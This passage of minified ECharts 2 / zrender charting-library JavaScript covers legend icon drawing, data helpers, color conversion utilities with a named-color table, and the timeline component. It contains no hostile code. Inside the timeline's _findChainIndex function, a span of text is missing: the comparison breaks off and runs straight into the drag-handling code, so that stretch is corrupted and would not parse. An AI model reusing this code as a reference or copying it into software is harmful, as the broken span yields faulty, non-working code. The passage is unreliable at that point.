this._selectedMap[e]?this._selectedMap[e]:!0},getSelectedMap:function(){return this._selectedMap},setSelected:function(e,t){if("single"===this.legendOption.selectedMode)for(var i in this._selectedMap)this._selectedMap[i]=!1;this._selectedMap[e]=t,this.messageCenter.dispatch(l.EVENT.LEGEND_SELECTED,null,{selected:this._selectedMap,target:e},this.myChart)},onlegendSelected:function(e,t){var i=e.selected;for(var n in i)this._selectedMap[n]!=i[n]&&(t.needRefresh=!0),this._selectedMap[n]=i[n]}};var V={line:function(e,t){var i=t.height/2;e.moveTo(t.x,t.y+i),e.lineTo(t.x+t.width,t.y+i)},pie:function(e,t){var i=t.x,n=t.y,a=t.width,r=t.height;o.prototype.buildPath(e,{x:i+a/2,y:n+r+2,r:r,r0:6,startAngle:45,endAngle:135})},eventRiver:function(e,t){var i=t.x,n=t.y,a=t.width,o=t.height;e.moveTo(i,n+o),e.bezierCurveTo(i+a,n+o,i,n+4,i+a,n+4),e.lineTo(i+a,n),e.bezierCurveTo(i,n,i+a,n+o-4,i,n+o-4),e.lineTo(i,n+o)},k:function(e,t){var i=t.x,n=t.y,a=t.width,o=t.height;s.prototype.buildPath(e,{x:i+a/2,y:[n+1,n+1,n+o-6,n+o],width:a-6})},bar:function(e,t){var i=t.x,n=t.y+1,a=t.width,o=t.height-2,r=3;e.moveTo(i+r,n),e.lineTo(i+a-r,n),e.quadraticCurveTo(i+a,n,i+a,n+r),e.lineTo(i+a,n+o-r),e.quadraticCurveTo(i+a,n+o,i+a-r,n+o),e.lineTo(i+r,n+o),e.quadraticCurveTo(i,n+o,i,n+o-r),e.lineTo(i,n+r),e.quadraticCurveTo(i,n,i+r,n)},force:function(e,t){r.prototype.iconLibrary.circle(e,t)},radar:function(e,t){var i=6,n=t.x+t.width/2,a=t.y+t.height/2,o=t.height/2,r=2*Math.PI/i,s=-Math.PI/2,l=n+o*Math.cos(s),h=a+o*Math.sin(s);e.moveTo(l,h),s+=r;for(var m=0,V=i-1;V>m;m++)e.lineTo(n+o*Math.cos(s),a+o*Math.sin(s)),s+=r;e.lineTo(l,h)}};V.chord=V.pie,V.map=V.bar;for(var U in V)r.prototype.iconLibrary["legendicon"+U]=V[U];return h.inherits(t,i),e("../component").define("legend",t),t}),i("echarts/util/ecData",[],function(){function e(e,t,i,n,a,o,r,s){var l;return"undefined"!=typeof n&&(l=null==n.value?n:n.value),e._echartsData={_series:t,_seriesIndex:i,_data:n,_dataIndex:a,_name:o,_value:l,_special:r,_special2:s},e._echartsData}function t(e,t){var i=e._echartsData;if(!t)return i;switch(t){case"series":case"seriesIndex":case"data":case"dataIndex":case"name":case"value":case"special":case"special2":return i&&i["_"+t]}return null}function i(e,t,i){switch(e._echartsData=e._echartsData||{},t){case"series":case"seriesIndex":case"data":case"dataIndex":case"name":case"value":case"special":case"special2":e._echartsData["_"+t]=i}}function n(e,t){t._echartsData={_series:e._echartsData._series,_seriesIndex:e._echartsData._seriesIndex,_data:e._echartsData._data,_dataIndex:e._echartsData._dataIndex,_name:e._echartsData._name,_value:e._echartsData._value,_special:e._echartsData._special,_special2:e._echartsData._special2}}return{pack:e,set:i,get:t,clone:n}}),i("echarts/chart",[],function(){var e={},t={};return e.define=function(i,n){return t[i]=n,e},e.get=function(e){return t[e]},e}),i("zrender/tool/color",["require","../tool/util"],function(e){function t(e){D=e}function i(){D=N}function n(e,t){return e=0|e,t=t||D,t[e%t.length]}function a(e){B=e}function o(){H=B}function r(){return B}function s(e,t,i,n,a,o,r){O||(O=P.getContext());for(var s=O.createRadialGradient(e,t,i,n,a,o),l=0,h=r.length;h>l;l++)s.addColorStop(r[l][0],r[l][1]);return s.__nonRecursion=!0,s}function l(e,t,i,n,a){O||(O=P.getContext());for(var o=O.createLinearGradient(e,t,i,n),r=0,s=a.length;s>r;r++)o.addColorStop(a[r][0],a[r][1]);return o.__nonRecursion=!0,o}function h(e,t,i){e=p(e),t=p(t),e=I(e),t=I(t);for(var n=[],a=(t[0]-e[0])/i,o=(t[1]-e[1])/i,r=(t[2]-e[2])/i,s=(t[3]-e[3])/i,l=0,h=e[0],m=e[1],U=e[2],d=e[3];i>l;l++)n[l]=V([S(Math.floor(h),[0,255]),S(Math.floor(m),[0,255]),S(Math.floor(U),[0,255]),d.toFixed(4)-0],"rgba"),h+=a,m+=o,U+=r,d+=s;return h=t[0],m=t[1],U=t[2],d=t[3],n[l]=V([h,m,U,d],"rgba"),n}function m(e,t){var i=[],n=e.length;if(void 0===t&&(t=20),1===n)i=h(e[0],e[0],t);else if(n>1)for(var a=0,o=n-1;o>a;a++){var r=h(e[a],e[a+1],t);o-1>a&&r.pop(),i=i.concat(r)}return i}function V(e,t){if(t=t||"rgb",e&&(3===e.length||4===e.length)){if(e=C(e,function(e){return e>1?Math.ceil(e):e}),t.indexOf("hex")>-1)return"#"+((1<<24)+(e[0]<<16)+(e[1]<<8)+ +e[2]).toString(16).slice(1);if(t.indexOf("hs")>-1){var i=C(e.slice(1,3),function(e){return e+"%"});e[1]=i[0],e[2]=i[1]}return t.indexOf("a")>-1?(3===e.length&&e.push(1),e[3]=S(e[3],[0,1]),t+"("+e.slice(0,4).join(",")+")"):t+"("+e.slice(0,3).join(",")+")"}}function U(e){e=L(e),e.indexOf("rgba")<0&&(e=p(e));var t=[],i=0;return e.replace(/[\d.]+/g,function(e){e=3>i?0|e:+e,t[i++]=e}),t}function d(e,t){if(!E(e))return e;var i=I(e),n=i[3];return"undefined"==typeof n&&(n=1),e.indexOf("hsb")>-1?i=F(i):e.indexOf("hsl")>-1&&(i=T(i)),t.indexOf("hsb")>-1||t.indexOf("hsv")>-1?i=A(i):t.indexOf("hsl")>-1&&(i=M(i)),i[3]=n,V(i,t)}function p(e){return d(e,"rgba")}function c(e){return d(e,"rgb")}function u(e){return d(e,"hex")}function y(e){return d(e,"hsva")}function g(e){return d(e,"hsv")}function b(e){return d(e,"hsba")}function f(e){return d(e,"hsb")}function k(e){return d(e,"hsla")}function x(e){return d(e,"hsl")}function _(e){for(var t in G)if(u(G[t])===u(e))return t;return null}function L(e){return String(e).replace(/\s+/g,"")}function W(e){if(G[e]&&(e=G[e]),e=L(e),e=e.replace(/hsv/i,"hsb"),/^#[\da-f]{3}$/i.test(e)){e=parseInt(e.slice(1),16);var t=(3840&e)<<8,i=(240&e)<<4,n=15&e;e="#"+((1<<24)+(t<<4)+t+(i<<4)+i+(n<<4)+n).toString(16).slice(1)}return e}function X(e,t){if(!E(e))return e;var i=t>0?1:-1;"undefined"==typeof t&&(t=0),t=Math.abs(t)>1?1:Math.abs(t),e=c(e);for(var n=I(e),a=0;3>a;a++)n[a]=1===i?n[a]*(1-t)|0:(255-n[a])*t+n[a]|0;return"rgb("+n.join(",")+")"}function v(e){if(!E(e))return e;var t=I(p(e));return t=C(t,function(e){return 255-e}),V(t,"rgb")}function w(e,t,i){if(!E(e)||!E(t))return e;"undefined"==typeof i&&(i=.5),i=1-S(i,[0,1]);for(var n=2*i-1,a=I(p(e)),o=I(p(t)),r=a[3]-o[3],s=((n*r===-1?n:(n+r)/(1+n*r))+1)/2,l=1-s,h=[],m=0;3>m;m++)h[m]=a[m]*s+o[m]*l;var U=a[3]*i+o[3]*(1-i);return U=Math.max(0,Math.min(1,U)),1===a[3]&&1===o[3]?V(h,"rgb"):(h[3]=U,V(h,"rgba"))}function K(){return"#"+(Math.random().toString(16)+"0000").slice(2,8)}function I(e){e=W(e);var t=e.match(R);if(null===t)throw new Error("The color format error");var i,n,a,o=[];if(t[2])i=t[2].replace("#","").split(""),a=[i[0]+i[1],i[2]+i[3],i[4]+i[5]],o=C(a,function(e){return S(parseInt(e,16),[0,255])});else if(t[4]){var r=t[4].split(",");n=r[3],a=r.slice(0,3),o=C(a,function(e){return e=Math.floor(e.indexOf("%")>0?2.55*parseInt(e,0):e),S(e,[0,255])}),"undefined"!=typeof n&&o.push(S(parseFloat(n),[0,1]))}else if(t[5]||t[6]){var s=(t[5]||t[6]).split(","),l=parseInt(s[0],0)/360,h=s[1],m=s[2];n=s[3],o=C([h,m],function(e){return S(parseFloat(e)/100,[0,1])}),o.unshift(l),"undefined"!=typeof n&&o.push(S(parseFloat(n),[0,1]))}return o}function J(e,t){if(!E(e))return e;null===t&&(t=1);var i=I(p(e));return i[3]=S(Number(t).toFixed(4),[0,1]),V(i,"rgba")}function C(e,t){if("function"!=typeof t)throw new TypeError;for(var i=e?e.length:0,n=0;i>n;n++)e[n]=t(e[n]);return e}function S(e,t){return e<=t[0]?e=t[0]:e>=t[1]&&(e=t[1]),e}function E(e){return e instanceof Array||"string"==typeof e}function F(e){var t,i,n,a=e[0],o=e[1],r=e[2];if(0===o)t=255*r,i=255*r,n=255*r;else{var s=6*a;6===s&&(s=0);var l=0|s,h=r*(1-o),m=r*(1-o*(s-l)),V=r*(1-o*(1-(s-l))),U=0,d=0,p=0;0===l?(U=r,d=V,p=h):1===l?(U=m,d=r,p=h):2===l?(U=h,d=r,p=V):3===l?(U=h,d=m,p=r):4===l?(U=V,d=h,p=r):(U=r,d=h,p=m),t=255*U,i=255*d,n=255*p}return[t,i,n]}function T(e){var t,i,n,a=e[0],o=e[1],r=e[2];if(0===o)t=255*r,i=255*r,n=255*r;else{var s;s=.5>r?r*(1+o):r+o-o*r;var l=2*r-s;t=255*z(l,s,a+1/3),i=255*z(l,s,a),n=255*z(l,s,a-1/3)}return[t,i,n]}function z(e,t,i){return 0>i&&(i+=1),i>1&&(i-=1),1>6*i?e+6*(t-e)*i:1>2*i?t:2>3*i?e+(t-e)*(2/3-i)*6:e}function A(e){var t,i,n=e[0]/255,a=e[1]/255,o=e[2]/255,r=Math.min(n,a,o),s=Math.max(n,a,o),l=s-r,h=s;if(0===l)t=0,i=0;else{i=l/s;var m=((s-n)/6+l/2)/l,V=((s-a)/6+l/2)/l,U=((s-o)/6+l/2)/l;n===s?t=U-V:a===s?t=1/3+m-U:o===s&&(t=2/3+V-m),0>t&&(t+=1),t>1&&(t-=1)}return t=360*t,i=100*i,h=100*h,[t,i,h]}function M(e){var t,i,n=e[0]/255,a=e[1]/255,o=e[2]/255,r=Math.min(n,a,o),s=Math.max(n,a,o),l=s-r,h=(s+r)/2;if(0===l)t=0,i=0;else{i=.5>h?l/(s+r):l/(2-s-r);var m=((s-n)/6+l/2)/l,V=((s-a)/6+l/2)/l,U=((s-o)/6+l/2)/l;n===s?t=U-V:a===s?t=1/3+m-U:o===s&&(t=2/3+V-m),0>t&&(t+=1),t>1&&(t-=1)}return t=360*t,i=100*i,h=100*h,[t,i,h]}var O,P=e("../tool/util"),D=["#ff9277"," #dddd00"," #ffc877"," #bbe3ff"," #d5ffbb","#bbbbff"," #ddb000"," #b0dd00"," #e2bbff"," #ffbbe3","#ff7777"," #ff9900"," #83dd00"," #77e3ff"," #778fff","#c877ff"," #ff77ab"," #ff6600"," #aa8800"," #77c7ff","#ad77ff"," #ff77ff"," #dd0083"," #777700"," #00aa00","#0088aa"," #8400dd"," #aa0088"," #dd0000"," #772e00"],N=D,B="rgba(255,255,0,0.5)",H=B,R=/^\s*((#[a-f\d]{6})|(#[a-f\d]{3})|rgba?\(\s*([\d\.]+%?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+%?(?:\s*,\s*[\d\.]+%?)?)\s*\)|hsba?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+%?(?:\s*,\s*[\d\.]+)?)%?\s*\)|hsla?\(\s*([\d\.]+(?:deg|\xb0|%)?\s*,\s*[\d\.]+%?\s*,\s*[\d\.]+%?(?:\s*,\s*[\d\.]+)?)%?\s*\))\s*$/i,G={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#0ff",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000",blanchedalmond:"#ffebcd",blue:"#00f",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#0ff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgrey:"#a9a9a9",darkgreen:"#006400",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#f0f",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",grey:"#808080",green:"#008000",greenyellow:"#adff2f",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgrey:"#d3d3d3",lightgreen:"#90ee90",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#789",lightslategrey:"#789",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#0f0",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#f0f",maroon:"#800000",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370d8",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#d87093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",red:"#f00",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#fff",whitesmoke:"#f5f5f5",yellow:"#ff0",yellowgreen:"#9acd32"};return{customPalette:t,resetPalette:i,getColor:n,getHighlightColor:r,customHighlight:a,resetHighlight:o,getRadialGradient:s,getLinearGradient:l,getGradientColors:m,getStepColors:h,reverse:v,mix:w,lift:X,trim:L,random:K,toRGB:c,toRGBA:p,toHex:u,toHSL:x,toHSLA:k,toHSB:f,toHSBA:b,toHSV:g,toHSVA:y,toName:_,toColor:V,toArray:U,alpha:J,getData:I}}),i("echarts/component/timeline",["require","./base","zrender/shape/Rectangle","../util/shape/Icon","../util/shape/Chain","../config","zrender/tool/util","zrender/tool/area","zrender/tool/event","../component"],function(e){function t(e,t,i,a,o){n.call(this,e,t,i,a,o);var r=this;if(r._onclick=function(e){return r.__onclick(e)},r._ondrift=function(e,t){return r.__ondrift(this,e,t)},r._ondragend=function(){return r.__ondragend()},r._setCurrentOption=function(){var e=r.timelineOption;r.currentIndex%=e.data.length;var t=r.options[r.currentIndex]||{};r.myChart._setOption(t,e.notMerge,!0),r.messageCenter.dispatch(s.EVENT.TIMELINE_CHANGED,null,{currentIndex:r.currentIndex,data:null!=e.data[r.currentIndex].name?e.data[r.currentIndex].name:e.data[r.currentIndex]},r.myChart)},r._onFrame=function(){r._setCurrentOption(),r._syncHandleShape(),r.timelineOption.autoPlay&&(r.playTicket=setTimeout(function(){return r.currentIndex+=1,!r.timelineOption.loop&&r.currentIndex>=r.timelineOption.data.length?(r.currentIndex=r.timelineOption.data.length-1,void r.stop()):void r._onFrame()},r.timelineOption.playInterval))},this.setTheme(!1),this.options=this.option.options,this.currentIndex=this.timelineOption.currentIndex%this.timelineOption.data.length,this.timelineOption.notMerge||0===this.currentIndex||(this.options[this.currentIndex]=l.merge(this.options[this.currentIndex],this.options[0])),this.timelineOption.show&&(this._buildShape(),this._syncHandleShape()),this._setCurrentOption(),this.timelineOption.autoPlay){var r=this;this.playTicket=setTimeout(function(){r.play()},null!=this.ecTheme.animationDuration?this.ecTheme.animationDuration:s.animationDuration)}}function i(e,t){var i=2,n=t.x+i,a=t.y+i+2,r=t.width-i,s=t.height-i,l=t.symbol;if("last"===l)e.moveTo(n+r-2,a+s/3),e.lineTo(n+r-2,a),e.lineTo(n+2,a+s/2),e.lineTo(n+r-2,a+s),e.lineTo(n+r-2,a+s/3*2),e.moveTo(n,a),e.lineTo(n,a);else if("next"===l)e.moveTo(n+2,a+s/3),e.lineTo(n+2,a),e.lineTo(n+r-2,a+s/2),e.lineTo(n+2,a+s),e.lineTo(n+2,a+s/3*2),e.moveTo(n,a),e.lineTo(n,a);else if("play"===l)if("stop"===t.status)e.moveTo(n+2,a),e.lineTo(n+r-2,a+s/2),e.lineTo(n+2,a+s),e.lineTo(n+2,a);else{var h="both"===t.brushType?2:3;e.rect(n+2,a,h,s),e.rect(n+r-h-2,a,h,s)}else if(l.match("image")){var m="";m=l.replace(new RegExp("^image:\\/\\/"),""),l=o.prototype.iconLibrary.image,l(e,{x:n,y:a,width:r,height:s,image:m})}}var n=e("./base"),a=e("zrender/shape/Rectangle"),o=e("../util/shape/Icon"),r=e("../util/shape/Chain"),s=e("../config");s.timeline={zlevel:0,z:4,show:!0,type:"time",notMerge:!1,realtime:!0,x:80,x2:80,y2:0,height:50,backgroundColor:"rgba(0,0,0,0)",borderColor:"#ccc",borderWidth:0,padding:5,controlPosition:"left",autoPlay:!1,loop:!0,playInterval:2e3,lineStyle:{width:1,color:"#666",type:"dashed"},label:{show:!0,interval:"auto",rotate:0,textStyle:{color:"#333"}},checkpointStyle:{symbol:"auto",symbolSize:"auto",color:"auto",borderColor:"auto",borderWidth:"auto",label:{show:!1,textStyle:{color:"auto"}}},controlStyle:{itemSize:15,itemGap:5,normal:{color:"#333"},emphasis:{color:"#1e90ff"}},symbol:"emptyDiamond",symbolSize:4,currentIndex:0};var l=e("zrender/tool/util"),h=e("zrender/tool/area"),m=e("zrender/tool/event");return t.prototype={type:s.COMPONENT_TYPE_TIMELINE,_buildShape:function(){if(this._location=this._getLocation(),this._buildBackground(),this._buildControl(),this._chainPoint=this._getChainPoint(),this.timelineOption.label.show)for(var e=this._getInterval(),t=0,i=this._chainPoint.length;i>t;t+=e)this._chainPoint[t].showLabel=!0;this._buildChain(),this._buildHandle();for(var t=0,n=this.shapeList.length;n>t;t++)this.zr.addShape(this.shapeList[t])},_getLocation:function(){var e,t=this.timelineOption,i=this.reformCssArray(this.timelineOption.padding),n=this.zr.getWidth(),a=this.parsePercent(t.x,n),o=this.parsePercent(t.x2,n);null==t.width?(e=n-a-o,o=n-o):(e=this.parsePercent(t.width,n),o=a+e);var r,s,l=this.zr.getHeight(),h=this.parsePercent(t.height,l);return null!=t.y?(r=this.parsePercent(t.y,l),s=r+h):(s=l-this.parsePercent(t.y2,l),r=s-h),{x:a+i[3],y:r+i[0],x2:o-i[1],y2:s-i[2],width:e-i[1]-i[3],height:h-i[0]-i[2]}},_getReformedLabel:function(e){var t=this.timelineOption,i=null!=t.data[e].name?t.data[e].name:t.data[e],n=t.data[e].formatter||t.label.formatter;return n&&("function"==typeof n?i=n.call(this.myChart,i):"string"==typeof n&&(i=n.replace("{value}",i))),i},_getInterval:function(){var e=this._chainPoint,t=this.timelineOption,i=t.label.interval;if("auto"===i){var n=t.label.textStyle.fontSize,a=t.data,o=t.data.length;if(o>3){var r,s,l=!1;for(i=0;!l&&o>i;){i++,l=!0;for(var m=i;o>m;m+=i){if(r=e[m].x-e[m-i].x,0!==t.label.rotate)s=n;else if(a[m].textStyle)s=h.getTextWidth(e[m].name,e[m].textFont);else{var V=e[m].name+"",U=(V.match(/\w/g)||"").length,d=V.length-U;s=U*n*2/3+d*n}if(s>r){l=!1;break}}}}else i=1}else i=i-0+1;return i},_getChainPoint:function(){function e(e){return null!=h[e].name?h[e].name:h[e]+""}var t,i=this.timelineOption,n=i.symbol.toLowerCase(),a=i.symbolSize,o=i.label.rotate,r=i.label.textStyle,s=this.getFont(r),h=i.data,m=this._location.x,V=this._location.y+this._location.height/4*3,U=this._location.x2-this._location.x,d=h.length,p=[];if(d>1){var c=U/d;if(c=c>50?50:20>c?5:c,U-=2*c,"number"===i.type)for(var u=0;d>u;u++)p.push(m+c+U/(d-1)*u);else{p[0]=new Date(e(0).replace(/-/g,"/")),p[d-1]=new Date(e(d-1).replace(/-/g,"/"))-p[0];for(var u=1;d>u;u++)p[u]=m+c+U*(new Date(e(u).replace(/-/g,"/"))-p[0])/p[d-1];p[0]=m+c}}else p.push(m+U/2);for(var y,g,b,f,k,x=[],u=0;d>u;u++)m=p[u],y=h[u].symbol&&h[u].symbol.toLowerCase()||n,y.match("empty")?(y=y.replace("empty",""),b=!0):b=!1,y.match("star")&&(g=y.replace("star","")-0||5,y="star"),t=h[u].textStyle?l.merge(h[u].textStyle||{},r):r,f=t.align||"center",o?(f=o>0?"right":"left",k=[o*Math.PI/180,m,V-5]):k=!1,x.push({x:m,n:g,isEmpty:b,symbol:y,symbolSize:h[u].symbolSize||a,color:h[u].color,borderColor:h[u].borderColor,borderWidth:h[u].borderWidth,name:this._getReformedLabel(u),textColor:t.color,textAlign:f,textBaseline:t.baseline||"middle",textX:m,textY:V-(o?5:0),textFont:h[u].textStyle?this.getFont(t):s,rotation:k,showLabel:!1});return x},_buildBackground:function(){var e=this.timelineOption,t=this.reformCssArray(this.timelineOption.padding),i=this._location.width,n=this._location.height;(0!==e.borderWidth||"rgba(0,0,0,0)"!=e.backgroundColor.replace(/\s/g,""))&&this.shapeList.push(new a({zlevel:this.getZlevelBase(),z:this.getZBase(),hoverable:!1,style:{x:this._location.x-t[3],y:this._location.y-t[0],width:i+t[1]+t[3],height:n+t[0]+t[2],brushType:0===e.borderWidth?"fill":"both",color:e.backgroundColor,strokeColor:e.borderColor,lineWidth:e.borderWidth}}))},_buildControl:function(){var e=this,t=this.timelineOption,i=t.lineStyle,n=t.controlStyle;if("none"!==t.controlPosition){var a,r=n.itemSize,s=n.itemGap;"left"===t.controlPosition?(a=this._location.x,this._location.x+=3*(r+s)):(a=this._location.x2-(3*(r+s)-s),this._location.x2-=3*(r+s));var h=this._location.y,m={zlevel:this.getZlevelBase(),z:this.getZBase()+1,style:{iconType:"timelineControl",symbol:"last",x:a,y:h,width:r,height:r,brushType:"stroke",color:n.normal.color,strokeColor:n.normal.color,lineWidth:i.width},highlightStyle:{color:n.emphasis.color,strokeColor:n.emphasis.color,lineWidth:i.width+1},clickable:!0};this._ctrLastShape=new o(m),this._ctrLastShape.onclick=function(){e.last()},this.shapeList.push(this._ctrLastShape),a+=r+s,this._ctrPlayShape=new o(l.clone(m)),this._ctrPlayShape.style.brushType="fill",this._ctrPlayShape.style.symbol="play",this._ctrPlayShape.style.status=this.timelineOption.autoPlay?"playing":"stop",this._ctrPlayShape.style.x=a,this._ctrPlayShape.onclick=function(){"stop"===e._ctrPlayShape.style.status?e.play():e.stop()},this.shapeList.push(this._ctrPlayShape),a+=r+s,this._ctrNextShape=new o(l.clone(m)),this._ctrNextShape.style.symbol="next",this._ctrNextShape.style.x=a,this._ctrNextShape.onclick=function(){e.next()},this.shapeList.push(this._ctrNextShape)}},_buildChain:function(){var e=this.timelineOption,t=e.lineStyle;this._timelineShae={zlevel:this.getZlevelBase(),z:this.getZBase(),style:{x:this._location.x,y:this.subPixelOptimize(this._location.y,t.width),width:this._location.x2-this._location.x,height:this._location.height,chainPoint:this._chainPoint,brushType:"both",strokeColor:t.color,lineWidth:t.width,lineType:t.type},hoverable:!1,clickable:!0,onclick:this._onclick},this._timelineShae=new r(this._timelineShae),this.shapeList.push(this._timelineShae)},_buildHandle:function(){var e=this._chainPoint[this.currentIndex],t=e.symbolSize+1;t=5>t?5:t,this._handleShape={zlevel:this.getZlevelBase(),z:this.getZBase()+1,hoverable:!1,draggable:!0,style:{iconType:"diamond",n:e.n,x:e.x-t,y:this._location.y+this._location.height/4-t,width:2*t,height:2*t,brushType:"both",textPosition:"specific",textX:e.x,textY:this._location.y-this._location.height/4,textAlign:"center",textBaseline:"middle"},highlightStyle:{},ondrift:this._ondrift,ondragend:this._ondragend},this._handleShape=new o(this._handleShape),this.shapeList.push(this._handleShape)},_syncHandleShape:function(){if(this.timelineOption.show){var e=this.timelineOption,t=e.checkpointStyle,i=this._chainPoint[this.currentIndex];this._handleShape.style.text=t.label.show?i.name:"",this._handleShape.style.textFont=i.textFont,this._handleShape.style.n=i.n,"auto"===t.symbol?this._handleShape.style.iconType="none"!=i.symbol?i.symbol:"diamond":(this._handleShape.style.iconType=t.symbol,t.symbol.match("star")&&(this._handleShape.style.n=t.symbol.replace("star","")-0||5,this._handleShape.style.iconType="star"));var n;"auto"===t.symbolSize?(n=i.symbolSize+2,n=5>n?5:n):n=t.symbolSize-0,this._handleShape.style.color="auto"===t.color?i.color?i.color:e.controlStyle.emphasis.color:t.color,this._handleShape.style.textColor="auto"===t.label.textStyle.color?this._handleShape.style.color:t.label.textStyle.color,this._handleShape.highlightStyle.strokeColor=this._handleShape.style.strokeColor="auto"===t.borderColor?i.borderColor?i.borderColor:"#fff":t.borderColor,this._handleShape.style.lineWidth="auto"===t.borderWidth?i.borderWidth?i.borderWidth:0:t.borderWidth-0,this._handleShape.highlightStyle.lineWidth=this._handleShape.style.lineWidth+1,this.zr.animate(this._handleShape.id,"style").when(500,{x:i.x-n,textX:i.x,y:this._location.y+this._location.height/4-n,width:2*n,height:2*n}).start("ExponentialOut")}},_findChainIndex:function(e){var t=this._chainPoint,i=t.length;if(e<=t[0].x)return 0;if(e>=t[i-1].x)return i-1;for(var n=0;i-1>n;n++)if(e>=t[n].x&&e<=t[n+1].x)return Math.abs(e-t[n].x)=n[a-1].x-n[a-1].symbolSize?(e.style.x=n[a-1].x-n[a-1].symbolSize,i=a-1):(e.style.x+=t,i=this._findChainIndex(e.style.x));var o=n[i],r=o.symbolSize+2;if(e.style.iconType=o.symbol,e.style.n=o.n,e.style.textX=e.style.x+r/2,e.style.y=this._location.y+this._location.height/4-r,e.style.width=2*r,e.style.height=2*r,e.style.text=o.name,i===this.currentIndex)return!0;if(this.currentIndex=i,this.timelineOption.realtime){clearTimeout(this.playTicket);var s=this;this.playTicket=setTimeout(function(){s._setCurrentOption()},200)}return!0},__ondragend:function(){this.isDragend=!0},ondragend:function(e,t){this.isDragend&&e.target&&(!this.timelineOption.realtime&&this._setCurrentOption(),t.dragOut=!0,t.dragIn=!0,t.needRefresh=!1,this.isDragend=!1,this._syncHandleShape())},last:function(){return this.timelineOption.autoPlay&&this.stop(),this.currentIndex-=1,this.currentIndex<0&&(this.currentIndex=this.timelineOption.data.length-1),this._onFrame(),this.currentIndex},next:function(){return this.timelineOption.autoPlay&&this.stop(),this.currentIndex+=1,this.currentIndex>=this.timelineOption.data.length&&(this.currentIndex=0),this._onFrame(),this.currentIndex},play:function(e,t){return this._ctrPlayShape&&"playing"!=this._ctrPlayShape.style.status&&(this._ctrPlayShape.style.status="playing",this.zr.modShape(this._ctrPlayShape.id),this.zr.refreshNextFrame()),this.timelineOption.autoPlay=null!=t?t:!0,this.timelineOption.autoPlay||clearTimeout(this.playTicket),this.currentIndex=null!=e?e:this.currentIndex+1,this.currentIndex>=this.timelineOption.data.length&&(this.currentIndex=0),this._onFrame(),this.currentIndex},stop:function(){return this._ctrPlayShape&&"stop"!=this._ctrPlayShape.style.status&&(this._ctrPlayShape.style.status="stop",this.zr.modShape(this._ctrPlayShape.id),this.zr.refreshNextFrame()),this.timelineOption.autoPlay=!1,clearTimeout(this.playTicket),this.currentIndex},resize:function(){this.timelineOption.show&&(this.clear(),this._buildShape(),this._syncHandleShape())},setTheme:function(e){this.timelineOption=this.reformOption(l.clone(this.option.timeline)),this.timelineOption.label.textStyle=this.getTextStyle(this.timelineOption.label.textStyle),this.timelineOption.checkpointStyle.label.textStyle=this.getTextStyle(this.timelineOption.checkpointStyle.label.textStyle),this.myChart.canvasSupported||(this.timelineOption.realtime=!1),this.timelineOption.show&&e&&(this.clear(),this._buildShape(),this._syncHandleShape())},onbeforDispose:function(){clearTimeout(this.playTicket)}},o.prototype.iconLibrary.timelineControl=i,l.inherits(t,n),e("../component").define("timeline",t),t}),i("zrender/shape/Image",["require","./Base","../tool/util"],function(e){var t=e("./Base"),i=function(e){t.call(this,e)};return i.prototype={type:"image",brush:function(e,t,i){var n=this.style||{};t&&(n=this.getHighlightStyle(n,this.highlightStyle||{}));var a=n.image,o=this;if(this._imageCache||(this._imageCache={}),"string"==typeof a){var 